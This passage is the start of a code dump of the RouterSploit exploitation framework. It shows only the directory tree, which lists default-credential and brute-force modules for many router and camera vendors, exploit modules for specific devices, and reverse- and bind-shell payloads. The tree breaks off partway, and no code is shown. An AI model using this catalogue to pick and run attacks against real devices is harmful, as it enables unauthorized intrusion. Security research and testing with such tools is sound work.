Full Code of threat9/routersploit for AI

Repository: threat9/routersploit
Branch: master
Commit: 6c5d37cf9c78
Files: 1215
Total size: 1.5 MB

Directory structure:
gitextract_hxqwu9j7/

├── .dockerignore
├── .github/
│   ├── ISSUE_TEMPLATE.md
│   └── PULL_REQUEST_TEMPLATE.md
├── .gitignore
├── .travis/
│   ├── install.sh
│   └── run.sh
├── .travis.yml
├── CONTRIBUTING.md
├── Dockerfile
├── LICENSE
├── MANIFEST.in
├── Makefile
├── README.md
├── docker-compose.yaml
├── docs/
│   └── modules/
│       ├── creds/
│       │   ├── cameras/
│       │   │   ├── acti/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── american_dynamics/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── arecont/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── avigilon/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── avtech/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── axis/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── basler/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── brickcom/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── canon/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── cisco/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── dlink/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── geovision/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── grandstream/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── hikvision/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── honeywell/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── iqinvision/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── jvc/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── mobotix/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── samsung/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── sentry360/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── siemens/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── speco/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── stardot/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   ├── vacron/
│       │   │   │   ├── ftp_default_creds.md
│       │   │   │   ├── ssh_default_creds.md
│       │   │   │   └── telnet_default_creds.md
│       │   │   └── videoiq/
│       │   │       ├── ftp_default_creds.md
│       │   │       ├── ssh_default_creds.md
│       │   │       └── telnet_default_creds.md
│       │   └── routers/
│       │       ├── asmax/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── asus/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── belkin/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── bhu/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── billion/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── cisco/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── comtrend/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── dlink/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── fortinet/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── huawei/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── ipfire/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── juniper/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── linksys/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── mikrotik/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── movistar/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── netcore/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── netgear/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── netsys/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── pfsense/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── technicolor/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── thomson/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── tplink/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── ubiquiti/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       ├── zte/
│       │       │   ├── ftp_default_creds.md
│       │       │   ├── ssh_default_creds.md
│       │       │   └── telnet_default_creds.md
│       │       └── zyxel/
│       │           ├── ftp_default_creds.md
│       │           ├── ssh_default_creds.md
│       │           └── telnet_default_creds.md
│       ├── encoders/
│       │   ├── perl/
│       │   │   ├── base64.md
│       │   │   └── hex.md
│       │   ├── php/
│       │   │   ├── base64.md
│       │   │   └── hex.md
│       │   └── python/
│       │       ├── base64.md
│       │       └── hex.md
│       ├── exploits/
│       │   ├── cameras/
│       │   │   ├── acti/
│       │   │   │   └── acm_5611_rce.md
│       │   │   ├── geuterbruck/
│       │   │   │   └── efd_2250.md
│       │   │   ├── jovision/
│       │   │   │   └── jovision_credentials_disclosure.md
│       │   │   └── multi/
│       │   │       └── cctv_dvr_rce.md
│       │   ├── misc/
│       │   │   └── watchguard/
│       │   │       └── xcs_9_rce.md
│       │   └── routers/
│       │       ├── asus/
│       │       │   ├── asuswrt_lan_rce.md
│       │       │   └── infosvr_backdoor_rce.md
│       │       ├── cisco/
│       │       │   └── rv320_command_injection.md
│       │       ├── dlink/
│       │       │   ├── dir_655_866_652_rce.md
│       │       │   └── dsl_2750b_rce.md
│       │       ├── ipfire/
│       │       │   ├── ipfire_proxy_rce.md
│       │       │   └── ipfire_shellshock.md
│       │       ├── linksys/
│       │       │   └── eseries_themoon_rce.md
│       │       ├── mikrotik/
│       │       │   └── winbox_auth_bypass_creds_disclosure.md
│       │       ├── multi/
│       │       │   ├── tcp_32764_info_disclosure.md
│       │       │   └── tcp_32764_rce.md
│       │       └── zte/
│       │           └── zxhn_h108n_wifi_password_disclosure.md
│       ├── generic/
│       │   └── upnp/
│       │       └── ssdp_msearch.md
│       └── payloads/
│           ├── armle/
│           │   ├── bind_tcp.md
│           │   └── reverse_tcp.md
│           ├── cmd/
│           │   ├── awk_bind_tcp.md
│           │   ├── awk_bind_udp.md
│           │   ├── awk_reverse_tcp.md
│           │   ├── bash_reverse_tcp.md
│           │   ├── netcat_bind_tcp.md
│           │   ├── netcat_reverse_tcp.md
│           │   ├── perl_bind_tcp.md
│           │   ├── perl_reverse_tcp.md
│           │   ├── php_bind_tcp.md
│           │   ├── php_reverse_tcp.md
│           │   ├── python_bind_tcp.md
│           │   ├── python_bind_udp.md
│           │   ├── python_reverse_tcp.md
│           │   └── python_reverse_udp.md
│           ├── mipsbe/
│           │   ├── bind_tcp.md
│           │   └── reverse_tcp.md
│           ├── mipsle/
│           │   ├── bind_tcp.md
│           │   └── reverse_tcp.md
│           ├── perl/
│           │   ├── bind_tcp.md
│           │   └── reverse_tcp.md
│           ├── php/
│           │   ├── bind_tcp.md
│           │   └── reverse_tcp.md
│           ├── python/
│           │   ├── bind_tcp.md
│           │   ├── bind_udp.md
│           │   ├── reverse_tcp.md
│           │   └── reverse_udp.md
│           ├── x64/
│           │   ├── bind_tcp.md
│           │   └── reverse_tcp.md
│           └── x86/
│               ├── bind_tcp.md
│               └── reverse_tcp.md
├── requirements-dev.txt
├── requirements.txt
├── routersploit/
│   ├── __init__.py
│   ├── core/
│   │   ├── __init__.py
│   │   ├── bluetooth/
│   │   │   ├── __init__.py
│   │   │   ├── btle/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── btle_device.py
│   │   │   │   └── btle_scanner.py
│   │   │   └── btle_client.py
│   │   ├── exploit/
│   │   │   ├── __init__.py
│   │   │   ├── encoders.py
│   │   │   ├── exceptions.py
│   │   │   ├── exploit.py
│   │   │   ├── option.py
│   │   │   ├── payloads.py
│   │   │   ├── printer.py
│   │   │   ├── shell.py
│   │   │   └── utils.py
│   │   ├── ftp/
│   │   │   ├── __init__.py
│   │   │   └── ftp_client.py
│   │   ├── http/
│   │   │   ├── __init__.py
│   │   │   └── http_client.py
│   │   ├── snmp/
│   │   │   ├── __init__.py
│   │   │   └── snmp_client.py
│   │   ├── ssh/
│   │   │   ├── __init__.py
│   │   │   └── ssh_client.py
│   │   ├── tcp/
│   │   │   ├── __init__.py
│   │   │   └── tcp_client.py
│   │   ├── telnet/
│   │   │   ├── __init__.py
│   │   │   └── telnet_client.py
│   │   └── udp/
│   │       ├── __init__.py
│   │       └── udp_client.py
│   ├── interpreter.py
│   ├── libs/
│   │   ├── __init__.py
│   │   ├── apiros/
│   │   │   ├── __init__.py
│   │   │   └── apiros_client.py
│   │   └── lzs/
│   │       ├── __init__.py
│   │       └── lzs.py
│   ├── modules/
│   │   ├── __init__.py
│   │   ├── creds/
│   │   │   ├── __init__.py
│   │   │   ├── cameras/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── acti/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   ├── telnet_default_creds.py
│   │   │   │   │   └── webinterface_http_form_default_creds.py
│   │   │   │   ├── american_dynamics/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── arecont/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── avigilon/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── avtech/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── axis/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   ├── telnet_default_creds.py
│   │   │   │   │   └── webinterface_http_auth_default_creds.py
│   │   │   │   ├── basler/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   ├── telnet_default_creds.py
│   │   │   │   │   └── webinterface_http_form_default_creds.py
│   │   │   │   ├── brickcom/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   ├── telnet_default_creds.py
│   │   │   │   │   └── webinterface_http_auth_default_creds.py
│   │   │   │   ├── canon/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   ├── telnet_default_creds.py
│   │   │   │   │   └── webinterface_http_auth_default_creds.py
│   │   │   │   ├── cisco/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── dlink/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── geovision/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── grandstream/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── hikvision/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── honeywell/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── iqinvision/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── jvc/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── mobotix/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── samsung/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── sentry360/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── siemens/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── speco/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── stardot/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   ├── vacron/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── ftp_default_creds.py
│   │   │   │   │   ├── ssh_default_creds.py
│   │   │   │   │   └── telnet_default_creds.py
│   │   │   │   └── videoiq/
│   │   │   │       ├── __init__.py
│   │   │   │       ├── ftp_default_creds.py
│   │   │   │       ├── ssh_default_creds.py
│   │   │   │       └── telnet_default_creds.py
│   │   │   ├── generic/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── ftp_bruteforce.py
│   │   │   │   ├── ftp_default.py
│   │   │   │   ├── http_basic_digest_bruteforce.py
│   │   │   │   ├── http_basic_digest_default.py
│   │   │   │   ├── snmp_bruteforce.py
│   │   │   │   ├── ssh_bruteforce.py
│   │   │   │   ├── ssh_default.py
│   │   │   │   ├── telnet_bruteforce.py
│   │   │   │   └── telnet_default.py
│   │   │   ├── printers/
│   │   │   │   └── __init__.py
│   │   │   └── routers/
│   │   │       ├── 2wire/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── 3com/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── __init__.py
│   │   │       ├── asmax/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   ├── telnet_default_creds.py
│   │   │       │   └── webinterface_http_auth_default_creds.py
│   │   │       ├── asus/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── belkin/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── bhu/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── billion/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── cisco/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── comtrend/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── dlink/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── fortinet/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── huawei/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── ipfire/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── juniper/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── linksys/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── mikrotik/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── api_ros_default_creds.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── movistar/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── netcore/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── netgear/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── netsys/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── pfsense/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── webinterface_http_form_default_creds.py
│   │   │       ├── technicolor/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── thomson/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── tplink/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── ubiquiti/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       ├── zte/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ftp_default_creds.py
│   │   │       │   ├── ssh_default_creds.py
│   │   │       │   └── telnet_default_creds.py
│   │   │       └── zyxel/
│   │   │           ├── __init__.py
│   │   │           ├── ftp_default_creds.py
│   │   │           ├── ssh_default_creds.py
│   │   │           └── telnet_default_creds.py
│   │   ├── encoders/
│   │   │   ├── __init__.py
│   │   │   ├── perl/
│   │   │   │   ├── base64.py
│   │   │   │   └── hex.py
│   │   │   ├── php/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── base64.py
│   │   │   │   └── hex.py
│   │   │   └── python/
│   │   │       ├── __init__.py
│   │   │       ├── base64.py
│   │   │       └── hex.py
│   │   ├── exploits/
│   │   │   ├── __init__.py
│   │   │   ├── cameras/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── acti/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── acm_5611_rce.py
│   │   │   │   ├── avigilon/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── videoiq_camera_path_traversal.py
│   │   │   │   ├── beward/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── n100_rce.py
│   │   │   │   ├── brickcom/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── corp_network_cameras_conf_disclosure.py
│   │   │   │   │   └── users_cgi_creds_disclosure.py
│   │   │   │   ├── cisco/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── video_surv_path_traversal.py
│   │   │   │   ├── dlink/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── dcs_930l_932l_auth_bypass.py
│   │   │   │   ├── geuterbruck/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── efd_2250.py
│   │   │   │   ├── grandstream/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── gxv3611hd_ip_camera_backdoor.py
│   │   │   │   │   └── gxv3611hd_ip_camera_sqli.py
│   │   │   │   ├── honeywell/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── hicc_1100pt_password_disclosure.py
│   │   │   │   ├── jovision/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── jovision_credentials_disclosure.py
│   │   │   │   ├── multi/
│   │   │   │   │   ├── P2P_wificam_credential_disclosure.py
│   │   │   │   │   ├── P2P_wificam_rce.py
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   ├── cctv_dvr_rce.py
│   │   │   │   │   ├── dvr_creds_disclosure.py
│   │   │   │   │   ├── jvc_vanderbilt_honeywell_path_traversal.py
│   │   │   │   │   └── netwave_ip_camera_information_disclosure.py
│   │   │   │   ├── mvpower/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── dvr_jaws_rce.py
│   │   │   │   ├── siemens/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── cvms2025_credentials_disclosure.py
│   │   │   │   └── xiongmai/
│   │   │   │       ├── __init__.py
│   │   │   │       └── uc_httpd_path_traversal.py
│   │   │   ├── generic/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── heartbleed.py
│   │   │   │   ├── shellshock.py
│   │   │   │   └── ssh_auth_keys.py
│   │   │   ├── misc/
│   │   │   │   ├── __init__.py
│   │   │   │   ├── asus/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── b1m_projector_rce.py
│   │   │   │   ├── miele/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── pg8528_path_traversal.py
│   │   │   │   ├── watchguard/
│   │   │   │   │   ├── __init__.py
│   │   │   │   │   └── xcs_9_rce.py
│   │   │   │   └── wepresent/
│   │   │   │       ├── __init__.py
│   │   │   │       └── wipg1000_rce.py
│   │   │   └── routers/
│   │   │       ├── 2wire/
│   │   │       │   ├── 4011g_5012nv_path_traversal.py
│   │   │       │   ├── __init__.py
│   │   │       │   └── gateway_auth_bypass.py
│   │   │       ├── 3com/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ap8760_password_disclosure.py
│   │   │       │   ├── imc_info_disclosure.py
│   │   │       │   ├── imc_path_traversal.py
│   │   │       │   ├── officeconnect_info_disclosure.py
│   │   │       │   └── officeconnect_rce.py
│   │   │       ├── __init__.py
│   │   │       ├── asmax/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── ar_1004g_password_disclosure.py
│   │   │       │   └── ar_804_gu_rce.py
│   │   │       ├── asus/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── asuswrt_lan_rce.py
│   │   │       │   ├── infosvr_backdoor_rce.py
│   │   │       │   └── rt_n16_password_disclosure.py
│   │   │       ├── belkin/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── auth_bypass.py
│   │   │       │   ├── g_n150_password_disclosure.py
│   │   │       │   ├── g_plus_info_disclosure.py
│   │   │       │   ├── n150_path_traversal.py
│   │   │       │   ├── n750_rce.py
│   │   │       │   └── play_max_prce.py
│   │   │       ├── bhu/
│   │   │       │   ├── __init__.py
│   │   │       │   └── bhu_urouter_rce.py
│   │   │       ├── billion/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── billion_5200w_rce.py
│   │   │       │   └── billion_7700nr4_password_disclosure.py
│   │   │       ├── cisco/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── catalyst_2960_rocem.py
│   │   │       │   ├── dpc2420_info_disclosure.py
│   │   │       │   ├── firepower_management60_path_traversal.py
│   │   │       │   ├── firepower_management60_rce.py
│   │   │       │   ├── ios_http_authorization_bypass.py
│   │   │       │   ├── rv320_command_injection.py
│   │   │       │   ├── secure_acs_bypass.py
│   │   │       │   ├── ucm_info_disclosure.py
│   │   │       │   ├── ucs_manager_rce.py
│   │   │       │   └── unified_multi_path_traversal.py
│   │   │       ├── comtrend/
│   │   │       │   ├── __init__.py
│   │   │       │   └── ct_5361t_password_disclosure.py
│   │   │       ├── dlink/
│   │   │       │   ├── __init__.py
│   │   │       │   ├── dcs_930l_auth_rce.py
│   │   │       │   ├── dgs_1510_add_user.py
│   │   │       │   ├── dir_300_320_600_615_info_disclosure.py
│   │   │       │   ├── dir_300_320_615_auth_bypass.py
│   │   │       │   ├── dir_300_600_rce.py
│   │   │       │   ├── dir_300_645_815_upnp_rce.py
│   │   │       │   ├── dir_645_815_rce.py
│   │   │       │   ├── dir_645_password_disclosure.py
│   │   │       │   ├── dir_655_866_652_rce.py
│   │   │       │   ├── dir_815_850l_rce.py
